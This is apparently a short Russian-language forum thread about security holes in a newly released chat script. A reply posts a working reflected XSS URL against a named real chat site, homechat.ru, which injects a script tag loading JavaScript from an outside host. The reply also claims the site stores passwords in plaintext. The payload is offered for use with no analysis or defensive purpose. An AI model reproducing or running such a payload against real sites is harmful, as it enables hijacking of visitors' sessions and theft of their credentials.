Вышел новый чат адрес _http://www.sipliy.ru/ourwork.php?tid=1 вроде говарят есть дыры. Пример работы на homechat.ru Что скажите?
Ну что вот вам пассивная XSS _http://www.chat.homechat.ru/index.php?skin_id=1&lang=ru<script src=http://test.ru/script.js> А пасы там хранятся в открытом виде.